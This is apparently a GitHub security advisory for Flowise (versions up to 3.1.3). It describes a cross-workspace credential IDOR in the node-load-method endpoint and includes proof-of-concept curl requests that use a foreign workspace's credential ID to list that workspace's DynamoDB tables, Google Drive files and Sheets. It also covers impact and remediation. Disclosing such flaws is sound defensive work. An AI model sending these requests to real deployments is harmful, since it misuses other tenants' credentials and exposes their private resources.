Skip to content
This repository was archived by the owner on Aug 13, 2026. It is now read-only.

Cross-workspace credential IDOR in node-load-method allows low-privilege users to enumerate victim third-party resources

Moderate
igor-magun-wd published GHSA-hqvm-7539-v83j Aug 28, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.3

Patched versions

3.1.4

Description

Summary

POST /api/v1/node-load-method/:name allows an authenticated low-privilege user to invoke component loadMethods with attacker-controlled nodeName, loadMethod, inputs, and credential values.

The endpoint is mounted as a normal API route and has no route-level permission check. More importantly, the credential selected by the caller is not verified against the caller's active workspace or shared-workspace permissions before being used by component load methods.

Several load methods call getCredentialData(nodeData.credential, options), which resolves credentials by raw Credential.id and decrypts the credential without enforcing Credential.workspaceId.

As a result, a low-privilege user or workspace API key in Workspace A can supply a Credential ID owned by Workspace B and make Flowise perform third-party provider calls with Workspace B's credential. This lets Flowise act as a confused deputy and return third-party provider metadata to the attacker.

Tested commit:

8842d52ea23a08819f63f88ac02983dfd2cb7851

Suggested severity:

High

Suggested CVSS v3.1:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Suggested CWE:

  • CWE-639: Authorization Bypass Through User-Controlled Key
  • CWE-862: Missing Authorization

Details

Affected route and call chain:

  • packages/server/src/routes/index.ts

    • mounts /node-load-method as a normal API route.
  • packages/server/src/routes/node-load-methods/index.ts

    • POST /api/v1/node-load-method/:name has no checkPermission or credential-scoping middleware.
  • packages/server/src/controllers/nodes/index.ts

    • copies the attacker-controlled request body into body;
    • adds body.searchOptions = getWorkspaceSearchOptionsFromReq(req);
    • passes the body to nodesService.getSingleNodeAsyncOptions.
  • packages/server/src/services/nodes/index.ts

    • resolves componentNodes[nodeName];
    • invokes nodeInstance.loadMethods[methodName] with attacker-controlled nodeData;
    • passes searchOptions, but generic credential helpers do not enforce it.
  • packages/components/src/utils.ts

    • getCredentialData(selectedCredentialId, options) resolves credentials by Credential.findOneBy({ id }) and decrypts the credential.
  • packages/server/src/services/credentials/index.ts

    • normal credential read paths are workspace-scoped through { id, workspaceId } or getWorkspaceSearchOptions(workspaceId), showing the intended authorization boundary.

Statically identified affected load methods include:

  • Google Drive listFiles
  • Google Sheets listSpreadsheets
  • AWS DynamoDB KV Storage listTables

The issue is not that the raw credential secret is returned. The issue is that Flowise uses a credential belonging to another workspace server-side and returns provider metadata to the attacker.

The Credential ID is an object reference, not an authorization grant. Possession of a credential UUID should not allow a user in Workspace A to use Workspace B's Google or AWS account through Flowise.

PoC

Prerequisites

  • Workspace A: attacker workspace.
  • Workspace B: victim workspace.
  • The attacker has a low-privilege Workspace A API key.
  • The Workspace A key does not have credentials:view, credentials:create, credentials:update, admin, or connector-management permissions.
  • Workspace B owns a provider credential that is not shared with Workspace A.
  • The victim provider account contains a harmless deterministic test resource, for example:
    • AWS DynamoDB table: victim_poc_orders in us-east-1;
    • Google Drive file: victim-poc-private-doc;
    • Google Sheets spreadsheet: victim-poc-private-sheet.

Negative control: attacker cannot read the victim credential through the normal credential API

curl -i "$BASE/api/v1/credentials/$VICTIM_CREDENTIAL_ID" \
  -H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY"

Expected result:

HTTP/1.1 403 Forbidden

If database access is available, the following evidence can also be captured:

select id, credentialName, workspaceId
from credential
where id = '<victimCredentialId>';

select *
from workspace_shared
where sharedItemId = '<victimCredentialId>'
  and itemType = 'credential';

Expected evidence:

  • credential.workspaceId = <workspaceB>;
  • no workspace_shared row grants the credential to Workspace A.

Positive control A: AWS DynamoDB table enumeration using the victim credential

curl -i -X POST "$BASE/api/v1/node-load-method/awsDynamoDBKVStorage" \
  -H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
  -H "Content-Type: application/json" \
  --data '{
    "loadMethod": "listTables",
    "credential": "'"$VICTIM_AWS_CREDENTIAL_ID"'",
    "inputs": {
      "region": "us-east-1"
    }
  }'

Vulnerable result:

[
  {
    "label": "victim_poc_orders",
    "name": "victim_poc_orders",
    "description": "Table with pk (partition) and sk (sort) keys"
  }
]

Provider-side evidence, when available:

  • CloudTrail shows ListTables and DescribeTable events.
  • The identity is the victim Workspace B IAM user or assumed role.
  • If roleArn is used, Flowise may generate an STS session name such as FlowiseSession-<timestamp>.

Positive control B: Google Drive file enumeration using the victim credential

curl -i -X POST "$BASE/api/v1/node-load-method/googleDrive" \
  -H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
  -H "Content-Type: application/json" \
  --data '{
    "loadMethod": "listFiles",
    "credential": "'"$VICTIM_GOOGLE_DRIVE_CREDENTIAL_ID"'",
    "inputs": {
      "maxFiles": 100,
      "includeSharedDrives": true,
      "fileTypes": ["application/vnd.google-apps.document", "application/pdf", "text/plain"]
    }
  }'

Vulnerable result:

[
  {
    "name": "google-drive-file-id",
    "label": "victim-poc-private-doc",
    "description": "Type: Google Doc (My Drive) | Modified: ..."
  }
]

Positive control C: Google Sheets enumeration using the victim credential

curl -i -X POST "$BASE/api/v1/node-load-method/googleSheets" \
  -H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
  -H "Content-Type: application/json" \
  --data '{
    "loadMethod": "listSpreadsheets",
    "credential": "'"$VICTIM_GOOGLE_SHEETS_CREDENTIAL_ID"'",
    "inputs": {}
  }'

Vulnerable result:

[
  {
    "name": "google-sheet-file-id",
    "label": "victim-poc-private-sheet",
    "description": "Modified: ..."
  }
]

For Google proofs, use a non-expired access token if possible so the main evidence does not depend on the OAuth refresh route. If the stored token is expired, Flowise can still refresh it server-side, but the core issue remains the unscoped credential lookup and provider call through node-load-method.

Impact

A low-privilege authenticated user can use Flowise as a confused deputy against third-party accounts configured in another workspace.

The attacker can:

  • enumerate victim Google Drive file IDs, file names, MIME categories, and modified timestamps;
  • enumerate victim Google Sheets spreadsheet IDs and names;
  • enumerate victim AWS DynamoDB table names and compatible key schema metadata;
  • trigger OAuth refresh or AWS STS AssumeRole flows through credentials outside the attacker's workspace;
  • consume provider API quota;
  • create provider-side audit events under the victim credential.

This crosses both a Flowise workspace boundary and an external provider account boundary. The attacker does not need access to the raw credential secret; server-side use of the victim credential is the impact.

Why this is not a duplicate of the public Agentflow OAuth refresh issue

This does not require /api/v1/oauth2-credential/refresh to return token material, and it does not depend on public Agentflow metadata leaking a credential ID.

The vulnerable primitive is the generic node-load-method dispatcher combined with globally resolved credential IDs. The exploit result is server-side use of a foreign credential to enumerate third-party provider resources.

Suggested remediation

  • Add an explicit permission gate to POST /api/v1/node-load-method/:name.
  • Before invoking any load method, collect credential IDs from nodeData.credential and nested config fields and verify they belong to req.user.activeWorkspaceId or are explicitly shared with that workspace.
  • Replace generic getCredentialData(id) in server-invoked load methods with a workspace-aware resolver.
  • Make workspace context mandatory for credential resolution.
  • Add regression tests:
    • Workspace A can call node-load-method with a Workspace A credential.
    • Workspace A cannot call node-load-method with a Workspace B credential.
    • Workspace A can call node-load-method only if Workspace B explicitly shared that credential.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity Low
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits